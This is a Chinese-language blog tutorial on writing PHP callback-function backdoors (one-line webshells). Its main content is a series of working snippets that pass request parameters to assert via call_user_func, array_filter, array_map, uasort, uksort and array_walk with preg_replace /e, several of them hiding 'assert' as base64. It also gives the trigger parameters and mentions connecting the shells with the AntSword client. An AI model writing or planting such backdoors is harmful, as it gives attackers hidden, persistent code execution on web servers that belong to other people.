RCE漏洞

创造tips的秘籍--PHP回调后门

php中包含回调函数参数的函数,具有做后门的潜质

python中也有回调map()、filter、reduce

windows远程连接端口3389

linux远程连接端口ssh-22

Linux拿站点,权限是www-gate(Linux最小权限原则)

windows比较容易横向拿站点

一、回调后门的老祖宗

php中call_user_func是执行回调函数的标准方法,这也是一个比较老的后门了

call_user_func (PHP 4, PHP 5, PHP 7, PHP 8) call_user_func --- 把第一个参数作为回调函数调用 说明 call_user_func(callable callback, mixed ...args): mixed 第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

源码:

php 复制代码
<?php

call_user_func('assert',$_REQUEST['pass']);                        //(第一种,传正常字符串)

call_user_func_array('assert',array($_REQUEST['pass']));           //(第二种,可以传数组)

$_REQUEST(可以接get、post、cookie)

php7.4以后的assert函数被禁用

思考:

怎么用后门:

怎么连接一句话木马

可以见得直接用get传参是可以执行的

call_user_func('assert',$_REQUEST['pass']);就相当于assert(传参值)

那让pass=POST\[123\]不就是assert(POST[123])

但是尝试后显然不行

get传参不行尝试下post传参

还是不行

但是使用eval($_POST[123])可以连接

思考:为什么呢

抓包对比下

二、数组操作造成的单参数回调后门

php 复制代码
<?php

$e = $_REQUEST['e'];

$arr = array($_POST['pass'],);

array_filter($arr,base64_decode($e));
php 复制代码
<?php

$e = $_REQUEST['e'];

$arr = array($_POST['pass'],);

array_map(base64_decode($e),$arr);

get传参e=YXNzZXJ0

base64_decode($e)后解码为assert

array_filter --- 使用回调函数过滤数组的元素

array_filter (array $array, ?callable $callback = null , int $mode = 0): array

最终执行的是assert(phpinfo();)

那如何连接蚁剑呢

三、php5.4.8+中的assert

在php5.4.8以后的版本中,assert函数由一个参数,增加了一个可选参数descrition

可以有一个参数也可以有两个参数,那么以前回调后门中有两个参数的回调函数就可以用了

php 复制代码
<?php
$e = $_REQUEST['e'];
$arr = array('test',$_REQUEST['pass']);
uasort($arr,base64_decode($e));
php 复制代码
<?php
$e = $_REQUEST['e'];
$arr = array('test' => 1,$_REQUEST['pass'] => 2);
uksort($arr,$e);

我们使用第二种试试

uksort --- 使用用户自定义的比较函数对数组中的键名进行排序

uksort (array &$array, callable $callback): true

使用用户自定义的比较函数对 array 本身进行按键(key)排序以确定顺序。

四、三参数的回调后门

三个参数:preg_replace /e模式

三个参数可以用preg_replace。所以这里构造了一个array_walk+preg_replace的回调后门

php 复制代码
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr,$e,'');

array_walk --- 使用用户自定义函数对数组中的每个元素做回调处理

array_walk (array|object &$array, callable $callback, mixed $arg = null ): true

将用户自定义函数 callback 应用到 array 数组中的每个单元。

这里的php中的.(点)是存在问题的

回想diqile中mysql注入中i.d--->i_d

.*={${phpinfo()}}

\S*=${phpinfo()}

相关推荐
00后程序员张1 小时前
免Mac上架实战:全平台iOS App上架流程的工具协作经验
websocket·网络协议·tcp/ip·http·网络安全·https·udp
unable code6 小时前
攻防世界-Reverse-insanity
网络安全·ctf·reverse
亚里士多没有德7756 小时前
【CTF-Web环境搭建】kali
网络安全
安全系统学习13 小时前
网络安全之SQL RCE漏洞
安全·web安全·网络安全·渗透测试
2501_9159214316 小时前
iOS IPA 混淆实测分析:从逆向视角验证加固效果与防护流程
websocket·网络协议·tcp/ip·http·网络安全·https·udp
2501_9159184116 小时前
打造可观测的 iOS CICD 流程:调试、追踪与质量保障全记录
websocket·网络协议·tcp/ip·http·网络安全·https·udp
2501_9159090620 小时前
调试 WebView 旧资源缓存问题:一次从偶发到复现的实战经历
websocket·网络协议·tcp/ip·http·网络安全·https·udp
2501_915921431 天前
请求未达服务端?iOS端HTTPS链路异常的多工具抓包排查记录
websocket·网络协议·tcp/ip·http·网络安全·https·udp
2501_916007471 天前
iOS 接口频繁请求导致流量激增?抓包分析定位与修复全流程
websocket·网络协议·tcp/ip·http·网络安全·https·udp
学习溢出1 天前
【网络安全】持续监控CI/CD:自动发现威胁与IoCs,软件供应链安全
运维·安全·web安全·网络安全·ci/cd